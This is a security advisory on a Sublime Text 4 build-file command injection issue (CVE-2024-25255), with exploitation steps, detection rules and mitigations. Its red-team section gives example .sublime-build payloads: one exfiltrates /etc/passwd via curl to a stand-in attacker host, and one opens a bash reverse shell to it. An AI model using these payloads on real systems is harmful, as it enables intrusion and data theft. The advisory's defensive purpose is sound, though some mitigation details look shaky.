CVE-2024-25255

Executive Summary

CVE-2024-25255 describes a command injection vulnerability in Sublime Text 4 via the New Build System module. The core issue is that the build system configuration allows arbitrary command execution through user-defined build files, which can be crafted to inject malicious commands. Multiple third parties report that this is intended behavior, meaning the software is designed to execute arbitrary commands as part of its build system functionality. This creates a significant risk if an attacker can trick a user into opening a malicious project or build file.

Note: This is not a software package from NPM, PyPI, Go, or Ruby ecosystems; therefore, supply chain package security analysis is not applicable.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, indicating no official CVSS vector has been assigned. However, based on the nature of the vulnerability (command injection via build system), a reasonable assessment would be:

• Attack Vector (AV): Local (AV:L) – requires user interaction to open a malicious project.
• Attack Complexity (AC): Low (AC:L) – no special conditions needed.
• Privileges Required (PR): None (PR:N) – attacker does not need prior access.
• User Interaction (UI): Required (UI:R) – victim must open a malicious build file.
• Scope (S): Unchanged (S:U) – vulnerability affects the same security authority.
• Confidentiality (C): High (C:H) – attacker can read arbitrary files.
• Integrity (I): High (I:H) – attacker can modify files.
• Availability (A): High (A:H) – attacker can disrupt system.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Estimated Base Score: 7.8 (High)

Threat Level: High – exploitation requires user interaction but can lead to full system compromise.

Deep Dive & Mechanics

Sublime Text 4 allows users to create custom build systems via .sublime-build files. These files are JSON-based and can specify commands to run when a build is triggered. The vulnerability arises because the build system does not sanitize or restrict the commands that can be executed. An attacker can craft a malicious .sublime-build file that includes shell metacharacters (e.g., ;, |, &&) to inject additional commands.

Mechanism:

1. The attacker creates a malicious project containing a .sublime-build file with injected commands.
2. The victim opens the project in Sublime Text 4.
3. When the victim triggers a build (e.g., via Ctrl+B), the injected commands execute with the privileges of the user running Sublime Text.

Example Malicious Build File:

{
    "cmd": ["echo", "hello; calc.exe"],
    "shell": true
}

When executed, this would run echo hello and then launch calc.exe on Windows.

Vulnerable vs. Patched Code

Vulnerable Code (Sublime Text 4): The build system directly passes the cmd array to the operating system's shell when "shell": true is set. No input validation or sanitization is performed.

Patched Code: No official patch exists. The vendor considers this intended behavior. Users must rely on manual mitigation (see Remediation & Mitigation).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Sublime Text 4 installed on the target machine.
• Ability to deliver a malicious project file (e.g., via email, download, or USB).

Exploit Steps:

1. Create a malicious .sublime-build file:

   {
       "cmd": ["echo", "pwned; curl http://attacker.com/steal?file=$(cat /etc/passwd)"],
       "shell": true
   }
   

2. Place this file in a project folder (e.g., project/.sublime-build).
3. Convince the victim to open the project in Sublime Text 4 and press Ctrl+B (Build).
4. The injected command executes, exfiltrating /etc/passwd to the attacker's server.

Alternative Payload (Reverse Shell):

{
    "cmd": ["echo", "test; bash -i >& /dev/tcp/attacker.com/4444 0>&1"],
    "shell": true
}

Blue Team (Detection & Defense)

Detection:

• Monitor for unexpected child processes spawned by Sublime Text (e.g., cmd.exe, bash, powershell).
• Use file integrity monitoring to detect new or modified .sublime-build files in user directories.
• Enable logging of build system executions in Sublime Text (if possible).

Defense:

• Disable the build system feature for untrusted projects.
• Use application whitelisting to block execution of unauthorized scripts.
• Educate users to avoid opening projects from untrusted sources.

Indicators of Compromise (IOCs)

• File Indicators:

  • Suspicious .sublime-build files containing shell metacharacters (;, |, &&, $()).
  • Unexpected files in %APPDATA%\Sublime Text 3\Packages\User\ (Windows) or ~/.config/sublime-text-3/Packages/User/ (Linux/macOS).

• Process Indicators:

  • Sublime Text spawning cmd.exe, powershell.exe, bash, or other shells.
  • Network connections from Sublime Text to external IPs (e.g., for data exfiltration).

• Network Indicators:

  • Outbound connections to attacker-controlled servers on unusual ports.

Detection Engineering

YARA Rule

rule CVE_2024_25255_Sublime_Build_Injection {
    meta:
        description = "Detects malicious .sublime-build files with command injection"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-25255"
    strings:
        $cmd = /"cmd"\s*:\s*\[/ nocase
        $shell = /"shell"\s*:\s*true/ nocase
        $injection = /[;&|`$(){}]/
    condition:
        $cmd and $shell and #injection > 0
}

Sigma Rule

title: Sublime Text Build System Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects execution of suspicious commands via Sublime Text build system
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-25255
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: 'sublime_text.exe'
        Image|endswith:
            - 'cmd.exe'
            - 'powershell.exe'
            - 'bash.exe'
            - 'sh.exe'
    condition: selection
falsepositives:
    - Legitimate build commands (e.g., compiling code)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-25255 Sublime Text Build System Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Build System for Untrusted Projects: In Sublime Text, go to Preferences > Settings and add:

   "ignored_packages": ["Build"]
   

   This disables the build system entirely.
2. Use Application Sandboxing: Run Sublime Text in a sandboxed environment (e.g., Windows Sandbox, Docker) when opening untrusted projects.
3. User Education: Train users to never open .sublime-build files or projects from untrusted sources.

Long-Term Fix:

• The vendor considers this intended behavior, so no patch is expected. Consider using alternative text editors with stricter build system controls (e.g., VS Code with restricted execution policies).

Workaround:

• Manually inspect all .sublime-build files before use. Remove any suspicious commands or set "shell": false to prevent shell injection.

Valters IT
DevSecOps & Cyber Threat Intelligence